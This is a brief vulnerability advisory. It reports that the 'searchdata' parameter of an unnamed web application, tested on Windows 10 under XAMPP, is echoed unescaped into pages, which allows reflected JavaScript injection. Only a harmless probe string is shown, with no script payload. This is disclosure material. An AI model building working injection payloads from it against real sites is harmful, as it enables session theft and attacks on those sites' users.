# Version: 1.0
# Tested on: Windows 10 Pro x64 - XAMPP Server
# CVE : N/A
#Issue Detail:
The value of the searchdata request parameter is copied into the HTML document as plain text between tags. The payload cyne7yhltm was submitted in the searchdata parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
